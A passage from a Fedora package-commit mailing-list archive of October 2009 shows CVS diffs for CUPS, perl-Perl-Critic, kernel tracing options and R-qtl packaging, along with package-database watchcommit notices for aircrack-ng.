+-        * (Re)register color profiles...
+-	*/
+-
+-        if (!RunUser)
+-	{
+-	  apple_unregister_profiles(printer);
+-	  apple_register_profiles(printer);
+-        }
+-#endif /* __APPLE__ */
+       }
+       else
+       {
+@@ -2829,6 +2820,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+                                     IPP_TAG_NAME)) != NULL)
+   {
+     need_restart_job = 1;
++    changed_driver   = 1;
+ 
+     if (!strcmp(attr->values[0].string.text, "raw"))
+     {
+@@ -2866,19 +2858,33 @@ add_printer(cupsd_client_t  *con,	/* I -
+       cupsdLogMessage(CUPSD_LOG_DEBUG,
+ 		      "Copied PPD file successfully!");
+       chmod(dstfile, 0644);
++    }
++  }
++
++  if (changed_driver)
++  {
++   /*
++    * If we changed the PPD/interface script, then remove the printer's cache
++    * file...
++    */
++
++    char cache_name[1024];		/* Cache filename for printer attrs */
++
++    snprintf(cache_name, sizeof(cache_name), "%s/%s.ipp", CacheDir,
++             printer->name);
++    unlink(cache_name);
+ 
+ #ifdef __APPLE__
+-     /*
+-      * (Re)register color profiles...
+-      */
++   /*
++    * (Re)register color profiles...
++    */
+ 
+-      if (!RunUser)
+-      {
+-	apple_unregister_profiles(printer);
+-	apple_register_profiles(printer);
+-      }
+-#endif /* __APPLE__ */
++    if (!RunUser)
++    {
++      apple_unregister_profiles(printer);
++      apple_register_profiles(printer);
+     }
++#endif /* __APPLE__ */
+   }
+ 
+  /*


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-11/cups.spec,v
retrieving revision 1.520
retrieving revision 1.521
diff -u -p -r1.520 -r1.521
--- cups.spec	2 Oct 2009 11:54:13 -0000	1.520
+++ cups.spec	7 Oct 2009 16:46:43 -0000	1.521
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -505,6 +505,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-3
+- Use upstream patch for STR #3356 (bug #526405).
+
 * Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-2
 - Fixed orientation of page labels when printing text in landscape
   mode (bug #520141, STR #3334).



From kasal at fedoraproject.org  Wed Oct  7 16:59:49 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 16:59:49 +0000 (UTC)
Subject: rpms/perl-Perl-Critic/devel .cvsignore, 1.12,
	1.13 perl-Perl-Critic.spec, 1.21, 1.22 sources, 1.12, 1.13
Message-ID: <20091007165950.0925F11C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Perl-Critic/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3074

Modified Files:
	.cvsignore perl-Perl-Critic.spec sources 
Log Message:
- new upstream version
- update build requires


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Perl-Critic/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	9 Sep 2008 23:16:43 -0000	1.12
+++ .cvsignore	7 Oct 2009 16:59:49 -0000	1.13
@@ -1 +1 @@
-Perl-Critic-1.092.tar.gz
+Perl-Critic-1.105.tar.gz


Index: perl-Perl-Critic.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Perl-Critic/devel/perl-Perl-Critic.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- perl-Perl-Critic.spec	26 Jul 2009 16:11:04 -0000	1.21
+++ perl-Perl-Critic.spec	7 Oct 2009 16:59:49 -0000	1.22
@@ -1,6 +1,6 @@
 Name:           perl-Perl-Critic
-Version:        1.098
-Release:        3%{?dist}
+Version:        1.105
+Release:        1%{?dist}
 Summary:        Critique Perl source code for best-practices
 
 Group:          Development/Libraries
@@ -18,18 +18,19 @@ BuildRequires:  perl(File::HomeDir)
 BuildRequires:  perl(IO::String)
 BuildRequires:  perl(List::MoreUtils)
 BuildRequires:  perl(Module::Pluggable) >= 3.1
-BuildRequires:  perl(PPI) >= 1.203
+BuildRequires:  perl(PPI) >= 1.205
 BuildRequires:  perl(String::Format) >= 1.13
 BuildRequires:  perl(Perl::Tidy)
 BuildRequires:  perl(Test::Memory::Cycle)
 BuildRequires:  perl(Readonly) >= 1.03
 BuildRequires:  perl(Exception::Class) >= 1.23
+BuildRequires:  perl(Email::Address)
 # BuildRequires:  perl(Regexp::Parser)
 BuildRequires:  perl(Test::Deep)
 # Author tests
-#BuildRequires:  perl(Test::Perl::Critic)
-#BuildRequires:  perl(Test::Kwalitee)
-BuildRequires:  aspell
+BuildRequires:  perl(Test::Perl::Critic)
+BuildRequires:  perl(Test::Kwalitee)
+BuildRequires:  aspell-en
 BuildRequires:  perl(File::Which)
 BuildRequires:  perl(Test::Spelling)
 BuildRequires:  perl(Test::Pod)
@@ -44,9 +45,7 @@ BuildRequires:  perl(Scalar::Util)
 BuildRequires:  perl(File::Temp)
 BuildRequires:  perl(Pod::Usage)
 BuildRequires:  perl(File::Find)
-BuildRequires:  perl(PPI::Token::Whitespace) >= 1.203
 BuildRequires:  perl(charnames)
-BuildRequires:  perl(PPI::Document::File) >= 1.203
 BuildRequires:  perl(File::Spec::Unix)
 BuildRequires:  perl(List::Util)
 BuildRequires:  perl(lib)
@@ -58,14 +57,11 @@ BuildRequires:  perl(base)
 BuildRequires:  perl(version)
 BuildRequires:  perl(Carp)
 BuildRequires:  perl(warnings)
-BuildRequires:  perl(PPI::Document) >= 1.203
 BuildRequires:  perl(File::Basename)
-BuildRequires:  perl(PPI::Token::Quote::Single) >= 1.203
 BuildRequires:  perl(File::Spec)
 BuildRequires:  perl(File::Path)
 BuildRequires:  perl(Pod::PlainText)
 BuildRequires:  perl(Pod::Select)
-BuildRequires:  perl(PPI::Node) >= 1.203
 BuildRequires:  perl(English)
 
 # don't "provide" private Perl libs
@@ -123,6 +119,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.110-1
+- new upstream version
+- update build requires
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.098-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Perl-Critic/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	9 Sep 2008 23:16:43 -0000	1.12
+++ sources	7 Oct 2009 16:59:49 -0000	1.13
@@ -1 +1 @@
-ead8f91253864525e0a022a1ef903c64  Perl-Critic-1.092.tar.gz
+25915a2e00784a7e3b94d6ffaaf20b22  Perl-Critic-1.105.tar.gz



From kasal at fedoraproject.org  Wed Oct  7 17:00:41 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 17:00:41 +0000 (UTC)
Subject: rpms/perl-Perl-Critic/devel perl-Perl-Critic.spec,1.22,1.23
Message-ID: <20091007170041.AA3AB11C0299@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Perl-Critic/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3264

Modified Files:
	perl-Perl-Critic.spec 
Log Message:
fix typo


Index: perl-Perl-Critic.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Perl-Critic/devel/perl-Perl-Critic.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- perl-Perl-Critic.spec	7 Oct 2009 16:59:49 -0000	1.22
+++ perl-Perl-Critic.spec	7 Oct 2009 17:00:41 -0000	1.23
@@ -119,7 +119,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.110-1
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.105-1
 - new upstream version
 - update build requires
 



From davej at fedoraproject.org  Wed Oct  7 17:22:57 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Wed,  7 Oct 2009 17:22:57 +0000 (UTC)
Subject: rpms/kernel/F-12 config-generic, 1.324, 1.325 kernel.spec, 1.1845, 
	1.1846
Message-ID: <20091007172257.539EF11C00E6@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7341

Modified Files:
	config-generic kernel.spec 
Log Message:
Disable CONFIG_IRQSOFF_TRACER on srostedt's recommendation.
  (Adds unwanted overhead when not in use).


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-generic,v
retrieving revision 1.324
retrieving revision 1.325
diff -u -p -r1.324 -r1.325
--- config-generic	9 Sep 2009 21:15:12 -0000	1.324
+++ config-generic	7 Oct 2009 17:22:56 -0000	1.325
@@ -3727,7 +3727,7 @@ CONFIG_UNUSED_SYMBOLS=y
 CONFIG_UTRACE=y
 
 CONFIG_FTRACE=y
-CONFIG_IRQSOFF_TRACER=y
+# CONFIG_IRQSOFF_TRACER is not set
 CONFIG_SCHED_TRACER=y
 CONFIG_PROCESS_TRACER=y
 CONFIG_CONTEXT_SWITCH_TRACER=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1845
retrieving revision 1.1846
diff -u -p -r1.1845 -r1.1846
--- kernel.spec	6 Oct 2009 14:44:42 -0000	1.1845
+++ kernel.spec	7 Oct 2009 17:22:56 -0000	1.1846
@@ -2079,6 +2079,10 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>
+- Disable CONFIG_IRQSOFF_TRACER on srostedt's recommendation.
+  (Adds unwanted overhead when not in use).
+
 * Tue Oct  6 2009 Justin M. Forbes <jforbes at redhat.com>
 - virtio_blk: add support for cache flush (#526869)
 



From pkgdb at fedoraproject.org  Wed Oct  7 17:24:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 17:24:47 +0000
Subject: [pkgdb] aircrack-ng: strouds34 has requested watchcommits
Message-ID: <20091007172447.AC59110F84D@bastion2.fedora.phx.redhat.com>

strouds34 has requested the watchcommits acl on aircrack-ng (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/aircrack-ng



From pkgdb at fedoraproject.org  Wed Oct  7 17:24:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 17:24:53 +0000
Subject: [pkgdb] aircrack-ng: strouds34 has given up watchcommits
Message-ID: <20091007172453.454B710F844@bastion2.fedora.phx.redhat.com>

strouds34 has given up the watchcommits acl on aircrack-ng (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/aircrack-ng



From pkgdb at fedoraproject.org  Wed Oct  7 17:25:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 17:25:15 +0000
Subject: [pkgdb] aircrack-ng: strouds34 has requested watchcommits
Message-ID: <20091007172515.CFA9C10F844@bastion2.fedora.phx.redhat.com>

strouds34 has requested the watchcommits acl on aircrack-ng (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/aircrack-ng



From davej at fedoraproject.org  Wed Oct  7 17:26:29 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Wed,  7 Oct 2009 17:26:29 +0000 (UTC)
Subject: rpms/kernel/F-12 config-x86_64-generic, 1.90, 1.91 kernel.spec,
	1.1846, 1.1847
Message-ID: <20091007172629.A067C11C00E6@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7647

Modified Files:
	config-x86_64-generic kernel.spec 
Log Message:
Enable FUNCTION_GRAPH_TRACER on x86-64.


Index: config-x86_64-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-x86_64-generic,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- config-x86_64-generic	20 Aug 2009 16:03:17 -0000	1.90
+++ config-x86_64-generic	7 Oct 2009 17:26:29 -0000	1.91
@@ -380,3 +380,5 @@ CONFIG_PERF_COUNTERS=y
 CONFIG_EVENT_PROFILE=y
 
 # CONFIG_X86_MCE_INJECT is not set
+
+CONFIG_FUNCTION_GRAPH_TRACER=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1846
retrieving revision 1.1847
diff -u -p -r1.1846 -r1.1847
--- kernel.spec	7 Oct 2009 17:22:56 -0000	1.1846
+++ kernel.spec	7 Oct 2009 17:26:29 -0000	1.1847
@@ -2080,6 +2080,9 @@ fi
 
 %changelog
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>
+- Enable FUNCTION_GRAPH_TRACER on x86-64.
+
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>
 - Disable CONFIG_IRQSOFF_TRACER on srostedt's recommendation.
   (Adds unwanted overhead when not in use).
 



From davej at fedoraproject.org  Wed Oct  7 17:28:16 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Wed,  7 Oct 2009 17:28:16 +0000 (UTC)
Subject: rpms/kernel/devel config-generic, 1.329, 1.330 config-x86_64-generic,
	1.92, 1.93 kernel.spec, 1.1815, 1.1816
Message-ID: <20091007172816.A3F7F11C00E6@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8290

Modified Files:
	config-generic config-x86_64-generic kernel.spec 
Log Message:
sync tracing options with F12


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.329
retrieving revision 1.330
diff -u -p -r1.329 -r1.330
--- config-generic	5 Oct 2009 01:31:00 -0000	1.329
+++ config-generic	7 Oct 2009 17:28:16 -0000	1.330
@@ -3805,7 +3805,7 @@ CONFIG_UNUSED_SYMBOLS=y
 CONFIG_UTRACE=y
 
 CONFIG_FTRACE=y
-CONFIG_IRQSOFF_TRACER=y
+# CONFIG_IRQSOFF_TRACER is not set
 CONFIG_SCHED_TRACER=y
 CONFIG_PROCESS_TRACER=y
 CONFIG_CONTEXT_SWITCH_TRACER=y


Index: config-x86_64-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-x86_64-generic,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- config-x86_64-generic	5 Oct 2009 01:31:00 -0000	1.92
+++ config-x86_64-generic	7 Oct 2009 17:28:16 -0000	1.93
@@ -392,3 +392,6 @@ CONFIG_EDAC_I3200=m
 CONFIG_TOPSTAR_LAPTOP=m
 # CONFIG_INTEL_TXT is not set
 CONFIG_GPIO_LANGWELL=y
+
+CONFIG_FUNCTION_GRAPH_TRACER=y
+


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1815
retrieving revision 1.1816
diff -u -p -r1.1815 -r1.1816
--- kernel.spec	5 Oct 2009 01:39:25 -0000	1.1815
+++ kernel.spec	7 Oct 2009 17:28:16 -0000	1.1816
@@ -1985,6 +1985,13 @@ fi
 # ##############################################################
 
 %changelog
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>
+- Enable FUNCTION_GRAPH_TRACER on x86-64.
+
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>
+- Disable CONFIG_IRQSOFF_TRACER on srostedt's recommendation.
+  (Adds unwanted overhead when not in use).
+
 * Sun Oct 04 2009 Kyle McMartin <kyle at redhat.com> 2.6.32-0.17.rc3.git0
 - 2.6.32-rc3 (bah, rebase script didn't catch it.)
 



From davej at fedoraproject.org  Wed Oct  7 17:31:03 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Wed,  7 Oct 2009 17:31:03 +0000 (UTC)
Subject: rpms/kernel/F-11 config-generic, 1.292, 1.293 kernel.spec, 1.1756, 
	1.1757
Message-ID: <20091007173103.64B9611C00E6@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8609

Modified Files:
	config-generic kernel.spec 
Log Message:
Disable IRQSOFF tracer. (Adds unnecessary overhead when unused)


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/config-generic,v
retrieving revision 1.292
retrieving revision 1.293
diff -u -p -r1.292 -r1.293
--- config-generic	24 Sep 2009 13:46:38 -0000	1.292
+++ config-generic	7 Oct 2009 17:31:02 -0000	1.293
@@ -3686,7 +3686,7 @@ CONFIG_UNUSED_SYMBOLS=y
 CONFIG_UTRACE=y
 
 CONFIG_FTRACE=y
-CONFIG_IRQSOFF_TRACER=y
+# CONFIG_IRQSOFF_TRACER is not set
 CONFIG_SCHED_TRACER=y
 CONFIG_PROCESS_TRACER=y
 CONFIG_CONTEXT_SWITCH_TRACER=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1756
retrieving revision 1.1757
diff -u -p -r1.1756 -r1.1757
--- kernel.spec	7 Oct 2009 10:10:43 -0000	1.1756
+++ kernel.spec	7 Oct 2009 17:31:03 -0000	1.1757
@@ -2046,6 +2046,9 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 07 2009 Dave Jones <davej at redhat.com>       2.6.30.9-78
+- Disable IRQSOFF tracer. (Adds unnecessary overhead when unused)
+
 * Wed Oct 07 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-77
 - eCryptfs fixes taken from 2.6.31.2 (fixes CVE-2009-2908)
 



From pkgdb at fedoraproject.org  Wed Oct  7 17:31:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 17:31:30 +0000
Subject: [pkgdb] aircrack-ng: strouds34 has given up watchcommits
Message-ID: <20091007173130.3AA2910F844@bastion2.fedora.phx.redhat.com>

strouds34 has given up the watchcommits acl on aircrack-ng (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/aircrack-ng



From ellert at fedoraproject.org  Wed Oct  7 17:32:19 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed,  7 Oct 2009 17:32:19 +0000 (UTC)
Subject: rpms/R-qtl/devel .cvsignore, 1.3, 1.4 R-qtl.spec, 1.3,
	1.4 import.log, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007173219.024F311C00E6@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/R-qtl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8762/devel

Modified Files:
	.cvsignore R-qtl.spec import.log sources 
Log Message:
* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
- New upstream release
- Disable the check since it trips on a missing suggested package
- Change license tag to GPLv3 to reflect an upstream license change



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 May 2009 12:06:37 -0000	1.3
+++ .cvsignore	7 Oct 2009 17:32:18 -0000	1.4
@@ -1 +1 @@
-qtl_1.11-12.tar.gz
+qtl_1.14-2.tar.gz


Index: R-qtl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/devel/R-qtl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- R-qtl.spec	24 Jul 2009 16:14:49 -0000	1.3
+++ R-qtl.spec	7 Oct 2009 17:32:18 -0000	1.4
@@ -1,18 +1,22 @@
-%global packname qtl
-%global packrel 12
+%global packname  qtl
 
 Name:             R-%{packname}
-Version:          1.11
-Release:          2%{?dist}
-Source0:          http://www.rqtl.org/download/%{packname}_%{version}-%{packrel}.tar.gz
-License:          GPLv2+
+Version:          1.14.2
+Release:          1%{?dist}
+Source0:          http://www.rqtl.org/download/%{packname}_1.14-2.tar.gz
+License:          GPLv3
 URL:              http://www.rqtl.org/
 Group:            Applications/Engineering
 Summary:          Tools for analyzing QTL experiments
-BuildRequires:    R-devel, tetex-latex
-BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:    R-devel
+%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
+BuildRequires:    tex(latex)
+%else
+BuildRequires:    tetex-latex
+%endif
 Requires(post):   R
 Requires(postun): R
+BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 R-qtl is an extensible, interactive environment for mapping
@@ -40,17 +44,21 @@ models by multiple imputation and Haley-
 %build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT%{_libdir}/R/library
-%{_bindir}/R CMD INSTALL -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
+rm -rf %{buildroot}
+mkdir -p %{buildroot}%{_libdir}/R/library
+R CMD INSTALL %{packname} -l %{buildroot}%{_libdir}/R/library
 test -d %{packname}/src && (cd %{packname}/src; rm -f *.o *.so)
-rm -rf $RPM_BUILD_ROOT%{_libdir}/R/library/R.css
+rm -rf %{buildroot}%{_libdir}/R/library/R.css
 
 %check
-%{_bindir}/R CMD check %{packname}
+# The check is disabled because it treats the non-precense of the
+# suggested R-snow package as an error - this is an optional dependency
+# not (yet) available in Fedora. R-qtl works without it.
+
+# R CMD check %{packname}
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %post
 %{_R_make_search_index}
@@ -72,6 +80,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_libdir}/R/library/%{packname}/STATUS.txt
 %doc %{_libdir}/R/library/%{packname}/TODO.txt
 %{_libdir}/R/library/%{packname}/CONTENTS
+%{_libdir}/R/library/%{packname}/CITATION
 %{_libdir}/R/library/%{packname}/INDEX
 %{_libdir}/R/library/%{packname}/Meta
 %{_libdir}/R/library/%{packname}/R
@@ -82,6 +91,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/R/library/%{packname}/sampledata
 
 %changelog
+* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
+- New upstream release
+- Disable the check since it trips on a missing suggested package
+- Change license tag to GPLv3 to reflect an upstream license change
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -96,8 +110,8 @@ rm -rf $RPM_BUILD_ROOT
 - Updated to new upstream version - contains consistent licensing information
 - Reverted License tag from GPLv2 to GPLv2+ to reflect the new information
 
-* Tue Dec  2 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
+* Tue Dec 02 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
 - Corrected License tag from GPLv2+ to GPLv2
 
-* Wed Nov  5 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
+* Wed Nov 05 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
 - Initial package creation


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	23 May 2009 12:06:37 -0000	1.2
+++ import.log	7 Oct 2009 17:32:18 -0000	1.3
@@ -1,2 +1,3 @@
 R-qtl-1_10-2_fc9:HEAD:R-qtl-1.10-2.fc9.src.rpm:1237380831
 R-qtl-1_11-1_fc9:HEAD:R-qtl-1.11-1.fc9.src.rpm:1243080370
+R-qtl-1_14_2-1_fc11:HEAD:R-qtl-1.14.2-1.fc11.src.rpm:1254936679


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 May 2009 12:06:37 -0000	1.3
+++ sources	7 Oct 2009 17:32:18 -0000	1.4
@@ -1 +1 @@
-ac1afe8286155f9d00b2542e33f582e2  qtl_1.11-12.tar.gz
+f754602d37b6d30b3c46701670164cc1  qtl_1.14-2.tar.gz



From ellert at fedoraproject.org  Wed Oct  7 17:33:50 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed,  7 Oct 2009 17:33:50 +0000 (UTC)
Subject: rpms/R-qtl/F-12 .cvsignore, 1.3, 1.4 R-qtl.spec, 1.3, 1.4 import.log,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007173350.DA96D11C00E6@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/R-qtl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9128/F-12

Modified Files:
	.cvsignore R-qtl.spec import.log sources 
Log Message:
* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
- New upstream release
- Disable the check since it trips on a missing suggested package
- Change license tag to GPLv3 to reflect an upstream license change



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 May 2009 12:06:37 -0000	1.3
+++ .cvsignore	7 Oct 2009 17:33:50 -0000	1.4
@@ -1 +1 @@
-qtl_1.11-12.tar.gz
+qtl_1.14-2.tar.gz


Index: R-qtl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-12/R-qtl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- R-qtl.spec	24 Jul 2009 16:14:49 -0000	1.3
+++ R-qtl.spec	7 Oct 2009 17:33:50 -0000	1.4
@@ -1,18 +1,22 @@
-%global packname qtl
-%global packrel 12
+%global packname  qtl
 
 Name:             R-%{packname}
-Version:          1.11
-Release:          2%{?dist}
-Source0:          http://www.rqtl.org/download/%{packname}_%{version}-%{packrel}.tar.gz
-License:          GPLv2+
+Version:          1.14.2
+Release:          1%{?dist}
+Source0:          http://www.rqtl.org/download/%{packname}_1.14-2.tar.gz
+License:          GPLv3
 URL:              http://www.rqtl.org/
 Group:            Applications/Engineering
 Summary:          Tools for analyzing QTL experiments
-BuildRequires:    R-devel, tetex-latex
-BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:    R-devel
+%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
+BuildRequires:    tex(latex)
+%else
+BuildRequires:    tetex-latex
+%endif
 Requires(post):   R
 Requires(postun): R
+BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 R-qtl is an extensible, interactive environment for mapping
@@ -40,17 +44,21 @@ models by multiple imputation and Haley-
 %build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT%{_libdir}/R/library
-%{_bindir}/R CMD INSTALL -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
+rm -rf %{buildroot}
+mkdir -p %{buildroot}%{_libdir}/R/library
+R CMD INSTALL %{packname} -l %{buildroot}%{_libdir}/R/library
 test -d %{packname}/src && (cd %{packname}/src; rm -f *.o *.so)
-rm -rf $RPM_BUILD_ROOT%{_libdir}/R/library/R.css
+rm -rf %{buildroot}%{_libdir}/R/library/R.css
 
 %check
-%{_bindir}/R CMD check %{packname}
+# The check is disabled because it treats the non-precense of the
+# suggested R-snow package as an error - this is an optional dependency
+# not (yet) available in Fedora. R-qtl works without it.
+
+# R CMD check %{packname}
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %post
 %{_R_make_search_index}
@@ -72,6 +80,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_libdir}/R/library/%{packname}/STATUS.txt
 %doc %{_libdir}/R/library/%{packname}/TODO.txt
 %{_libdir}/R/library/%{packname}/CONTENTS
+%{_libdir}/R/library/%{packname}/CITATION
 %{_libdir}/R/library/%{packname}/INDEX
 %{_libdir}/R/library/%{packname}/Meta
 %{_libdir}/R/library/%{packname}/R
@@ -82,6 +91,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/R/library/%{packname}/sampledata
 
 %changelog
+* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
+- New upstream release
+- Disable the check since it trips on a missing suggested package
+- Change license tag to GPLv3 to reflect an upstream license change
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -96,8 +110,8 @@ rm -rf $RPM_BUILD_ROOT
 - Updated to new upstream version - contains consistent licensing information
 - Reverted License tag from GPLv2 to GPLv2+ to reflect the new information
 
-* Tue Dec  2 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
